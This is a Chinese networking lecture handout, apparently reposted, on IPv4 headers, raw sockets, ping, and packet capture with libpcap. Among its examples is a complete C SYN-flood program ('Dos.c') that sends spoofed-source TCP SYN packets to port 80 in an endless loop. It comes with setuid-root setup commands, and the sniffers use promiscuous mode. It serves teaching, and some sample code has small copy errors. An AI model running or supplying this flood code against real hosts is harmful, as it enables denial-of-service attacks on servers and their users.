原始套接字與資料鍊路通路程式設計 IPv4資料報格式
幾點說明:首部長度是以32位(即4位元組)為機關;16位的辨別用于分片和重組;DF位(不分片);MF(還有片段);協定字段表示封裝在IP封包中的上層協定,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);頭部校驗和隻對IP頭部(包括選項)計算,校驗算法是标準的網際網路校驗和算法,即簡單的16位反碼求和。
IP資料報分片例子
IP資料報是指指I P 層端到端的傳輸單元(在分片之前和重新組裝之後),分組是指在I P 層和鍊路層之間傳送的資料單元。
需要重申的是,任何傳輸層首部隻出現在第1 片資料中。
原始套接字(概述)
原始套接字提供了一些使用tcp和udp協定不能實作的功能,如:
使用原始套接字可以讀/寫ICMPv4、IGMPv4分組。如Ping程式,mroute程式等;
使用原始套接字可以讀/些特殊的IPv4資料包,核心不處理這些資料報的IPv4協定字段。如大多數核心隻處理ICMP、IGMP、TCP、UDP的資料報。但協定字段還可以為其他值,如OSPF直接使用IP協定,将IP資料報的協定字段設為89,此時,就必須有專門的程式通過原始套接字來處理它們;
利用原始套接字還可以建立自定義的IP資料報首部,編寫基于IP協定的高層網絡協定。
原始套接字建立
#include <sys/socket.h>
#include <netinet/in.h>
int socket(AF_INET, SOCK_RAW, int protocol);
protocol參數一般不能為0,如:IPPROTO_ICMP。另外,隻有超級使用者才能建立原始套接字。
使用者可以通過設定IP_HDRINCL選項來編寫自己的IP資料報首部:
const int on = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
可以調用bind函數綁定原始套接字的本地IP位址,此時,所有輸出的資料報将用到源IP位址(僅當IP_HDRINCL未設定時);如果不調用bind函數,由核心将源IP位址設成外出接口的主IP位址;
可以調用connect函數設定資料報的目的位址(注意并不需要真正的連接配接)。此後,可直接調用write或send。
注意:bind和connect時,端口已經沒有意義了。
通過原始套接字發送資料報
原始套接字的輸出遵循以下規則:
如果套接字已經連接配接,可以調用write、writev、send來發送資料,否則需要調用sendto或sendmsg;
如果IP_HDRINCL選項未設定,則核心寫的資料起始位址指IP頭部之後的第一個位元組。因為這種情況下,核心構造IP頭部,并将它安在來自程序的資料之前。核心将IPv4頭部的協定字段設定成使用者在調用socket函數所給的第三個參數;
如果設定了IP_HDRINCL,則核心寫的資料起始位址指IP頭部的第一個位元組。使用者所提供的資料大小值必須包括頭部的位元組數。此時程序構造除了以下兩項外的整個IP頭部;(a)IPv4辨別字段可以設為0,要求核心設定該值;(b)IPv4頭部校驗和由核心來計算和存儲。IPv4資料報首部各個字段的内容均是網絡位元組序(對linux而言)
對于超出外出接口的MTU的分組,核心将其分片。
通過原始套接字接收資料報
核心通過原始套接字接收資料報,遵循以下規則:
接收到的tcp和udp分組決不會傳遞給原始套接字,如果一個程序希望讀取包含tcp或udp分組的IP資料報,那麼它們必須在資料鍊路層讀入;
當核心處理完ICMP消息後,絕大部分ICMP分組将傳遞給原始套接字。對源自Berkeley的實作,除了回射請求、時間戳請求和位址掩碼請求将完全由核心處理以外,所有收到的ICMP分組将傳遞給某個原始套接口;
當核心處理完IGMP消息後,所有IGMP分組都将傳遞給某個原始套接字;
所有帶有核心不能識别的協定字段的IP資料報都将傳遞給某個原始套接字。
如果資料報以分片形式到達,則該分組将在所有片段到達并重組後才傳給原始套接字。
通過原始套接字接收資料報(續)
在将一個IP資料報傳遞給某個套接字之前,核心需要選擇比對的原始套接字:
如果在建立原始套接字時,所指定的protocol參數不為0,則接收到的資料包的協定字段應與該值比對,否則該資料報将不傳遞給該套接字;
如果此原始套接字之上綁定了一個本地IP位址,那麼接收到的資料報的目的IP位址應與該綁定位址相比對,否則該資料報将不傳遞給該套接字;
如果此原始套接字通過調用connect指定了一個對方的IP位址,那麼接收到的資料報的源IP位址應與該已連接配接位址相比對,否則該資料報将不傳遞給該套接字。
如果一個原始套接字以protocol參數為0的方式建立,而且未調用bind或connect,那麼對于核心傳遞給原始套接字的每一個原始資料報,該套接字都會收到一份拷貝;
當接收到的資料報傳遞給IPv4原始套接字時,整個資料報(包括IP頭部)都将傳遞給程序。而對于IPv6,則将去除擴充頭部。
例1、DOS攻擊(拒絕服務攻擊)
拒絕服務攻擊原理:畫圖
源程式Dos.c:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define DESTPORT 80 /*要攻擊的端口(WEB)*/
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
int on;
on=1;
if(argc!=2){
fprintf(stderr,"Usage:%sIP\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
inet_aton(argv[1],&addr.sin_addr);
/* **** 使用IPPROTO_TCP建立一個TCP的原始套接****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0){
perror("socket Error");
exit(1);
}
/*設定IP資料包格式,告訴系統核心子產品IP資料包由我們自己來填寫*/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/****沒有辦法,隻用超級護使用者才可以使用原始套接字***/
setuid(getuid());
send_tcp(sockfd,&addr); /*********發送炸彈了!!!!****/
}
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];/****用來放置我們的資料包****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/*我們的資料包實際上沒有任何内容,是以長度就是兩個結構的長度*/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/********填充IP資料包的頭部,還記得IP的頭格式嗎******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;/**版本一般的是4**/
ip->ip_hl=sizeof(struct ip)>>2;/**IP資料包的頭部長度**/
ip->ip_tos=0;/**服務類型**/
ip->ip_len=htons(head_len);/**IP資料包的長度**/
ip->ip_id=0;/**讓系統去填寫吧**/
ip->ip_off=0;/**和上面一樣,省點時間**/
ip->ip_ttl=MAXTTL; /*最長的時間255*/
ip->ip_p=IPPROTO_TCP;/**我們要發的是TCP包**/
ip->ip_sum=0;/**校驗和讓系統去做**/
ip->ip_dst=addr->sin_addr;/**我們攻擊的對象**/
printf("dest address is %s\n",inet_ntoa(addr->sin_addr));
/*******開始填寫TCP資料包*****/
tcp=(struct tcphdr *)(buffer+sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;/**目的端口**/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;/**我要建立連接配接**/
tcp->check=0;
/**好了,一切都準備好了.伺服器,你準備好了沒有*/
while(1) {
/**你不知道我是從那裡來的,慢慢的去等吧!**/
ip->ip_src.s_addr=random();
printf("addr is%d\n",ip->ip_src.s_addr);
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr));
}
}
程式運作權限
通常情況下,有效使用者ID等于實際使用者ID,有效組ID等于實際組ID;
檔案方式字中有一個特殊标志,定義為“當執行此檔案時将程序的有效使用者ID設定為檔案的所有者”,與此類似,組ID也有類似的情況。這兩位稱為:設定-使用者-ID和設定-組-ID。
對于本程式要求:普通使用者能執行該程式,但該程式又要求要具有超級使用者權限,是以:需要将該可執行程式的所有者設定為超級使用者,并設定其“設定-使用者-ID”标志,方法是:
[email protected] /root]#chown root DOS
[email protected] /root]#chmod u+s DOS
例2:給本機發送一個ICMP封包,然後接收回複。
//ip.h
#ifndef _IP_H
#define _IP_H
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
#define DEST_ADDR "222.18.113.171"
extern int errno;
char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
int sockfd,datalen=56;
struct sockaddr_in dest_addr;
void send_packet();
void recv_packet();
unsigned short cal_chksum(unsigned short * addr,int len);
void showiphdr(struct ip *ip);
void onTerm();
#endif
//Ip.c
#include "ip.h"
int main(int argc,char *argv[])
{
struct hostent *host;
struct protoent *protocol;
unsigned long inaddr=0L;
if((protocol=getprotobyname("icmp"))==NULL)
{
perror("unknow protocol icmp");
exit(1);
}
if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0){
perror("socket error");
exit(2);
}
bzero(&dest_addr,sizeof(dest_addr));
dest_addr.sin_family=AF_INET;
inaddr=inet_addr(DEST_ADDR);
memcpy((char*)&dest_addr.sin_addr,(char*)&inaddr,sizeof(inaddr));
send_packet();
recv_packet();
return 0;
}
void send_packet()
{
int i,packetsize;
struct icmp *icmp;
icmp=(struct icmp*)sendpacket;
icmp->icmp_type=ICMP_ECHO;
icmp->icmp_code=0;
icmp->icmp_cksum=0;
icmp->icmp_id=getpid();
icmp->icmp_seq=1;
packetsize=8+datalen; //資料包的大小
icmp->icmp_cksum=cal_chksum((unsigned short*)icmp,packetsize);
if((sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)))<0){
perror("send ICMP packets error\n");
exit(3);
}
printf("send ICMP packet to %s\n",inet_ntoa(dest_addr.sin_addr));
}
unsigned short cal_chksum(unsigned short *addr,int len)
{
int nleft=len;
int sum=0;
unsigned short *w=addr;
unsigned short answer=0;
while(nleft>1)
{
sum += *w++;
nleft -= 2;
}
if(nleft==1){
*(unsigned char*)(&answer) = *(unsigned char*)w;
sum += answer;
}
sum = (sum>>16) + (sum&0xffff);
sum += (sum>>16);
answer = ~sum;
return answer;
}
void recv_packet()
{
int n,fromlen,packet_no;
struct sockaddr_in from;
struct ip *ip;
struct icmp *icmp;
signal(SIGALRM,onTerm);
while(1)
{
fromlen=sizeof(from);
alarm(MAX_WAIT_TIME);
if((n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen))<0){
perror("Receive packet error");
continue;
}
ip=(struct ip *)recvpacket;
showiphdr(ip);
printf("len:%d",ip->ip_hl);
icmp=(struct icmp*)(recvpacket+4*ip->ip_hl);//取ICMP報頭
printf("ICMP TYPE=%d\n",icmp->icmp_type);
}
}
void showiphdr(struct ip *ip)
{
printf("------IP HEADER------\n");
printf("version:%d\n",ip->ip_v);
printf("header length:%d\n",ip->ip_hl);
printf("type of service:%d\n",ip->ip_tos);
printf("total length:%d\n",ip->ip_len);
printf("identification:%d\n",ip->ip_id);
printf("fragment offset field:%d\n",ip->ip_off);
printf("time to live:%d\n",ip->ip_ttl);
printf("protocol:%d\n",ip->ip_p);
/*printf("checksum:%s\n",ip->ip_sum );*/
printf("source IP address:%s\n",inet_ntoa(ip->ip_src));
printf("destination IP address:%s\n",inet_ntoa(ip->ip_dst));
}
void onTerm()
{
close(sockfd);
exit(0);
}
運作結果
例3:ping程式
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>
#define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
#define MAX_NO_PACKETS 3
char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
int sockfd,datalen=56;
int nsend=0,nreceived=0;
struct sockaddr_in dest_addr;
pid_t pid;
struct sockaddr_in from;
struct timeval tvrecv;
void statistics(int signo);
unsigned short cal_chksum(unsigned short *addr,int len);
int pack(int pack_no);
void send_packet(void);
void recv_packet(void);
int unpack(char *buf,int len);
void tv_sub(struct timeval *out,struct timeval *in);
void statistics(int signo)
{
printf("\n--------------------PING statistics-------------------\n");
printf("%d packets transmitted, %d received , %%%d lost\n",nsend,nreceived,
(nsend-nreceived)/nsend*100);
close(sockfd);
exit(1);
}
/*校驗和算法*/
unsigned short cal_chksum(unsigned short *addr,int len)
{ int nleft=len;
int sum=0;
unsigned short *w=addr;
unsigned short answer=0;
/*把ICMP報頭二進制資料以2位元組為機關累加起來*/
while(nleft>1)
{ sum+=*w++;
nleft-=2;
}
/*若ICMP報頭為奇數個位元組,會剩下最後一位元組。把最後一個位元組視為一個2位元組資料的高位元組,
這個2位元組資料的低位元組為0,繼續累加*/
if( nleft==1)
{ *(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return answer;
}
/*設定ICMP報頭*/
int pack(int pack_no)
{ int i,packsize;
struct icmp *icmp;
struct timeval *tval;
icmp=(struct icmp*)sendpacket;
icmp->icmp_type=ICMP_ECHO;
icmp->icmp_code=0;
icmp->icmp_cksum=0;
icmp->icmp_seq=pack_no;
icmp->icmp_id=pid;
packsize=8+datalen;
tval= (struct timeval *)icmp->icmp_data;
gettimeofday(tval,NULL); /*記錄發送時間*/
icmp->icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /*校驗算法*/
return packsize;
}
/*發送三個ICMP封包*/
void send_packet()
{
int packetsize;
while( nsend<MAX_NO_PACKETS)
{ nsend++;
packetsize=pack(nsend); /*設定ICMP報頭*/
if( sendto(sockfd,sendpacket,packetsize,0,
(struct sockaddr *)&dest_addr,sizeof(dest_addr) )<0 )
{
perror("sendto error");
continue;
}
}
sleep(1); /*每隔一秒發送一個ICMP封包*/
}
}
/*接收所有ICMP封包*/
void recv_packet()
{ int n,fromlen;
extern int errno;
signal(SIGALRM,statistics);
fromlen=sizeof(from);
while( nreceived<10)
{ alarm(MAX_WAIT_TIME);
if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0)
{ if(errno==EINTR)continue;
perror("recvfrom error");
continue;
}
gettimeofday(&tvrecv,NULL); /*記錄接收時間*/
if(unpack(recvpacket,n)==-1)continue;
nreceived++;
}
}
/*剝去ICMP報頭*/
int unpack(char *buf,int len)
{ int i,iphdrlen;
struct ip *ip;
struct icmp *icmp;
struct timeval *tvsend;
double rtt;
ip=(struct ip *)buf;
iphdrlen=(ip->ip_hl)*4; /*求ip報頭長度,即ip報頭的長度标志乘4*/
icmp=(struct icmp *)(buf+iphdrlen); /*越過ip報頭,指向ICMP報頭*/
len-=iphdrlen; /*ICMP報頭及ICMP資料報的總長度*/
if( len<8) /*小于ICMP報頭長度則不合理*/
{ printf("ICMP packets\'s length is less than 8\n");
return -1;
}
/*確定所接收的是我所發的的ICMP的回應*/
if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
{ tvsend=(struct timeval *)icmp->icmp_data;
tv_sub(&tvrecv,tvsend); /*接收和發送的時間差*/
rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000; /*以毫秒為機關計算rtt*/
/*顯示相關資訊*/
printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n",
len,
inet_ntoa(from.sin_addr),
icmp->icmp_seq,
ip->ip_ttl,
rtt);
}
else return -1;
}
main(int argc,char *argv[])
{ struct hostent *host;
struct protoent *protocol;
unsigned long inaddr=0l;
int waittime=MAX_WAIT_TIME;
int size=50*1024;
if(argc<2)
{ printf("usage:%s hostname/IP address\n",argv[0]);
exit(1);
}
if( (protocol=getprotobyname("icmp") )==NULL)
{ perror("getprotobyname");
exit(1);
}
/*生成使用ICMP的原始套接字,這種套接字隻有root才能生成*/
if( (sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto) )<0)
{ perror("socket error");
exit(1);
}
/* 回收root權限,設定目前使用者權限*/
setuid(getuid());
/*擴大套接字接收緩沖區到50K這樣做主要為了減小接收緩沖區溢出的
的可能性,若無意中ping一個廣播位址或多點傳播位址,将會引來大量應答*/
setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size) );
bzero(&dest_addr,sizeof(dest_addr));
dest_addr.sin_family=AF_INET;
if((host=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname error");
exit(1);
}
dest_addr.sin_addr = *((struct in_addr *) host->h_addr);
pid=getpid();
printf("PING %s(%s): %d bytes data in ICMP packets.\n",argv[1],
inet_ntoa(dest_addr.sin_addr),datalen);
send_packet(); /*發送所有ICMP封包*/
recv_packet(); /*接收所有ICMP封包*/
statistics(SIGALRM); /*進行統計*/
return 0;
}
/*兩個timeval結構相減*/
void tv_sub(struct timeval *out,struct timeval *in)
{
if( (out->tv_usec-=in->tv_usec)<0)
{ --out->tv_sec;
out->tv_usec+=1000000;
}
out->tv_sec-=in->tv_sec;
}
/*------------- The End -----------*/
運作結果:
資料鍊路通路
目前大多數作業系統都為應用程式提供了通路資料鍊路層的手段,它具有以下功能:
監視資料鍊路層所收到的分組,這使得我們可以在計算機上通過像tcpdump這樣的程式來監視網絡,而無需使用特殊的硬體裝置。如果結合使用網絡接口的混雜模式,甚至可以偵聽本地電纜上的所有分組,而不隻是以程式運作所在主機為目的的分組。
作為普通應用程序而不是核心的一部分運作某些程式。例如,大多數Unix系統的RARP伺服器是普通的應用程序,它們從資料鍊路讀取RARP請求,并把應答寫回資料鍊路。
資料鍊路層通路方法
BSD系統提供的BPF分組過濾器
SVR4的資料鍊路提供者接口DLPI
Linux系統的SOCK_PACKET接口
資料報捕獲函數庫libpcap。
BPF分組過濾器
BPF分組過濾器
因為BPF過濾器需要對每個收到的封包進行過濾,是以性能就至為重要了,BPF采用三種技術減少開銷:
BPF的過濾由核心完成,過濾後的分組才拷貝給應用程式。
每個分組隻有部分資料由BPF傳遞給應用程式,因為大多數應用程式隻需要監控分組頭部。例如tcpdump将捕獲分組長度預設設定為68位元組(以太網首部14+IP首部20+TCP首部20+14位元組的資料)
BPF緩沖隻有在已滿或逾時發生才拷貝給應用程式。(BPF采用了雙緩沖技術)
使用DLPI、pfmod、bufmod捕獲分組
Linux:SOCK_PACKET
該方法需要建立SOCK_PACKET類型的套接字,而且調用socket的第三個參數必須是指定以太網幀類型的某個非0值,例如:
fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);
fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_IP);
還可以指定為:ETH_P_IPv6、ETH_P_ARP。
該方法不提供基于核心的緩沖和分組過濾機制,是以,效率較低。另外,Linux不提供針對裝置的過濾,即不能隻接收來自某個指定裝置的分組。
libpcap:分組捕獲函數庫
libpcap是一個與實作無關的通路作業系統所提供的分組捕獲機制的分組捕獲函數庫。目前它隻支援分組的讀取。
它同時支援Berkeley核心下的BPF、Solaris 2.x下的DLPI、SunOS4.1下的NIT、Linux下的SOCK_PACKET套接字以及其他若幹作業系統,具有良好的相容性。
libpcap庫函數(1)
#include <pcap.h>
char *pcap_lookupdev(char *errbuf);
傳回值:成功傳回網絡裝置名指針,出錯傳回NULL,并在errbuf中存儲錯誤資訊。
該函數用于傳回可被pcap_open_live()或pcap_lookupnet()函數調用的網絡裝置名指針。
libpcap庫函數(2)
#include <pcap.h>
int pcap_lookupnet(char *device, bpf_u_int *netp, bpf_u_int32 *maskp, char *errbuf);
傳回:出錯傳回-1,否則0;
該函數獲得指定網絡裝置的網絡号和掩碼
Device 使用的網絡裝置名.
Netp 網絡裝置的網絡号(傳回值)
Maskp 網絡裝置的掩碼(傳回值)
Errbuf 傳回的錯誤文本(傳回值)
libpcap庫函數(3)
#include <pcap.h>
pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf);
該函數獲得用于捕獲網絡資料包捕獲描述符。
函數參數如下:
device:指定打開的網絡裝置名;
snaplen:定義捕獲資料的最大位元組數;
promisc:指定是否将網絡接口置于混雜模式;
to_ms:指定逾時時間(毫秒)
ebuf:當發生錯誤時,存儲錯誤資訊。
libpcap庫函數(4)
#include <pcap.h>
int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user);
傳回值:成功傳回讀取到的位元組數,出錯傳回-1。
該函數用于捕獲并處理資料包。參數意義如下:
p:打開的網絡裝置描述符;
cnt:指定函數傳回前所處理資料包的最大值,cnt = -1表示處理緩沖區中所有的資料報。cnt = 0 表示處理所有資料包,直到下述條件發生:
發生錯誤
讀取到EOF;
逾時讀取。
callback:指定一個帶有三個參數的回調函數。這三個參數分别是一個從pcap_dispatch()函數傳遞過來的u_char指針,一個是pcap_pkthdr結構的指針,以及一個資料報大小的u_char指針。
user: 傳遞給回調函數的參數。
libpcap庫函數(5)
#include <pcap.h>
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user);
該函數與pcap_dispatch()函數功能基本相同。不同的是,前者在cnt個資料報被處理或出現錯誤才傳回,但讀取逾時不會傳回。另外,如果cnt=-1 ,pcap_loop函數将始終循環運作,直至出現錯誤。
libpcap庫函數(6)
#include <pcap.h>
int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask);
傳回值:成功為0,出錯為-1。
該函數将指定的字元串編譯到過濾程式中。函數參數如下:
fp:一個bpf_program結構指針,在函數中被指派;
str:指定編譯到過濾程式中的字元串。
optimize:控制結果代碼的優化;
netmask:指定本地網絡的網絡掩碼。
libpcap庫函數(7)
#include <pcap.h>
int pcap_setfilter(pcap_t *p, struct bpf_program *fp);
該函數指定一個過濾程式,參數fp通常在pcap_compile函數中被指派。
u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);
傳回值:成功指向下一個資料包的指針。出錯時傳回NULL。
該函數傳回指向下一個資料包的指針。
int pcap_datalink(pcap_t *p);
傳回值:資料鍊路層類型,如:DLT_EN10MB,或DLT_PPP
該函數傳回資料鍊路層的類型。
libpcap庫函數(8)
#include <pcap.h>
void pcap_close(pcap_t *p);
該函數用于關閉打開的網絡設别描述符,并釋放資源。
char *pcap_geterr(pcap *p);
該函數用于傳回最後一個pcap庫錯誤消息。
libpcap資料結構
typedef struct pcap pcap_t;
struct pcap {
int fd;
int snapshot;
int linktype;
int tzoff;
int offset;
struct pcap_sf sf;
struct pcap_md md;
int bufsize;
u_char * buffer;
u_char * bp;
int cc;
u_char * pkt;
struct bpf_program fcode;
char errbuf[PCAP_ERRBUF_SIZE];
}
libpcap資料結構
struct pcap_pkthdr {
struct trmeval ts;
bpf_u_int32 caplen;
bpf_u_int32 len;
}
資料鍊路通路執行個體
P259
功能:
打開網絡裝置。
根據使用者從指令行輸入的過濾規則産生過濾器。
捕獲所需的包并顯示。
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 1000
#define PCAP_ERRBUF_SIZ 200
void display(const u_char * packet,const size_t length);
void my_callback(u_char *none,const struct pcap_pkthdr * pkthdr,const u_char *packet)
{
display((u_char *) packet,(size_t)(pkthdr->caplen));
return;
}
int main(int argc,char**argv)
{
int i;
char *dev;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t * descr;
const u_char *packet;
struct pcap_pkthdr hdr;
struct ether_header *eptr;
struct bpf_program fp;
bpf_u_int32 maskp;
bpf_u_int32 netp;
if(argc!=2){
fprintf(stdout,"usage:%s\"filter program\"\n",argv[0]);
return 0;
}
dev=pcap_lookupdev(errbuf);
if(dev==NULL){
fprintf(stderr,"%s\n",errbuf);
exit(1);
}
printf("dev=%s",dev);
fflush(stdout);
pcap_lookupnet(dev,&netp,&maskp,errbuf);
descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);
if(descr==NULL)
{
printf("pcap_open_live():%s\n",errbuf);
exit(1);
}
if(pcap_compile(descr,&fp,argv[1],0,netp)==-1)
{
fprintf(stderr,"error calling pcap_compile\n");
exit(1);
}
if(pcap_setfilter(descr,&fp)==-1) {
fprintf(stderr,"error setting filter\n");
exit(1);
}
pcap_loop(descr,-1,my_callback,NULL);
return 0;
}
void display(const u_char *packet,const size_t length)
{
u_long offset;
int i,j,k;
printf("packet[%lu bytes]:\n",(long unsigned int) length);
if(length<=0){
return;
}
i=0;
offset=0;
for(k=length/16;k>0;k--,offset+=16)
{
printf("%08X",(unsigned int)offset);
for(j=0;j<16;j++,i++){
if(j==8)
{
printf("%-%02X",packet[i]);
}
else printf("%02X",packet[i]);
}
printf(" ");
i -= 16;
for(j=0;j<16;j++,i++){
if((packet[i]<=' ')&&(packet[i]<=255)){
printf("%c",packet[i]);
}
else printf(".");
}
printf("\n");
}
k = length-i;
if(k<=0){
return;
}
printf("%08X",(unsigned int)offset);
for(j=0;j<k;j++,i++) {
if(j==8){
printf("-%02X",packet[i]);
}
else
printf("%02X",packet[i]);
}
i-=k;
for(j=16-k;j>0;j--){
printf(" ");
}
printf(" ");
for(j=0;j<k;j++,i++){
if((packet[i]>=' ')&&(packet[i]<=255)){
printf("%c",packet[i]);
}
else{
printf(".");
}
}
return;
}
程式運作結果:
網絡封包捕獲程式
要求捕獲本地網段接收或發送的封包,并能根據指令行輸入的過濾條件過濾捕獲的資料。
Pcap.c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <strings.h>
#include <arpa/inet.h>
#include <pcap.h>
#include <signal.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <error.h>
#include <time.h>
#define snaplen 1000
#define promisc 1
pcap_t *pcap;
int datalink;
char src[20],dst[20];
struct pcap_pkthdr hdr;
int pcap_open(char *);
char *next_pcap(int *);
void analysis(char *,int);
void tcp(char *,int);
void udp(char *,int);
void icmp(char *,int);
void cleanup(int);
int main(int argc, char **argv)
{
int len;
char *ptr;
if( argc > 2 ){
printf("Usage: %s \"filter condition\"",argv[0]);
exit(1);
}
if(pcap_open(argv[1])== -1) {
printf("I can not open device.\n");
exit(0);
}
setuid(getuid());
signal(SIGTERM,cleanup);
signal(SIGINT,cleanup);
signal(SIGHUP,cleanup);
while(1)
{
ptr=next_pcap(&len);
analysis(ptr,len);
}
pcap_close(pcap);
}
int pcap_open(char * filter)
{
char *dev,*error;
struct bpf_program fp;
bpf_u_int32 net,netmask;
if((dev=pcap_lookupdev(error))==NULL)
return(-1);
printf("from network device: %s\n",dev);
if((pcap=pcap_open_live(dev,1000,promisc,0,error))==NULL)
return(-1);
if(filter!=NULL) {
if(pcap_lookupnet(dev,&net,&netmask,error) == -1) {
pcap_close(pcap);
return(-1);
}
if(pcap_compile(pcap,&fp,filter,0,netmask) == -1) {
pcap_close(pcap);
return(-1);
}
if(pcap_setfilter(pcap,&fp) == -1) {
pcap_close(pcap);
return(-1);
}
}
if((datalink=pcap_datalink(pcap))<0) {
pcap_close(pcap);
return(-1);
}
return(0);
}
char *next_pcap(int *len)
{
char *ptr;
while((ptr=(char *)pcap_next(pcap,&hdr))==NULL);
*len=hdr.caplen;
return(ptr);
}
void analysis(char *ptr,int len)
{
int hlen;
struct ip *ip;
struct ether_header *eptr;
struct tm *time;
switch(datalink) {
case DLT_NULL:
ptr+=4;
len-=4;
break;
case DLT_EN10MB:
eptr=(struct ether_header *)ptr;
if(ntohs(eptr->ether_type)!=ETHERTYPE_IP) {
printf("Ethernet type %x not IP.\n",ntohs(eptr->ether_type));
return;
}
ptr+=14;
len-=14;
break;
case DLT_SLIP:
case DLT_PPP:
ptr+=24;
len-=24;
break;
default:
return;
}
ip=(struct ip *)ptr;
if(ip->ip_v != IPVERSION) {
printf("Error ip version.\n");
return;
}
hlen=ip->ip_hl<<2;
if(hlen < sizeof(struct ip)) {
printf("IP len %d is error.\n",ip->ip_hl);
return;
}
inet_ntop(AF_INET,(void *)&ip->ip_src,src,20);
inet_ntop(AF_INET,(void *)&ip->ip_dst,dst,20);
time=gmtime((time_t* )&hdr.ts.tv_sec);
printf("%8.8s:%ld",ctime((time_t *)&hdr.ts.tv_sec)+11,hdr.ts.tv_usec);
switch(ip->ip_p) {
case IPPROTO_UDP:
udp(ptr+hlen,len-hlen);
break;
case IPPROTO_TCP:
tcp(ptr+hlen,len-hlen);
break;
case IPPROTO_ICMP:
icmp(ptr+hlen,len-hlen);
break;
default:
printf("Not recognize packet.\n");
break;
}
}
void tcp(char *ptr,int len)
{
struct tcphdr *tcph;
tcph=(struct tcphdr *)ptr;
printf("%15s:%-4d->%15s:%-4d",src,ntohs(tcph->source),dst,ntohs(tcph->dest));
printf(" Seq:%ld ACK:%ld", ntohl(tcph->seq),ntohl(tcph->ack_seq));
printf(" Win:%-6d\n",ntohs(tcph->window));
}
void udp(char *ptr,int len) {
struct udphdr *udph;
udph=(struct udphdr *)ptr;
printf("%15s -> %15s\n",src,dst);
}
void icmp(char *ptr,int len) {
printf("%15s -> %15s\n",src,dst);
}
void cleanup(int signo)
{
struct pcap_stat stat;
fflush(stdout);
if(pcap_stats(pcap,&stat)<0)
{
perror(pcap_geterr(pcap));
exit(0);
}
printf("%d packets received by filter\n",stat.ps_recv);
printf("%d packets dropped by kernel\n",stat.ps_drop);
exit(0);
}
轉自:相關網絡課件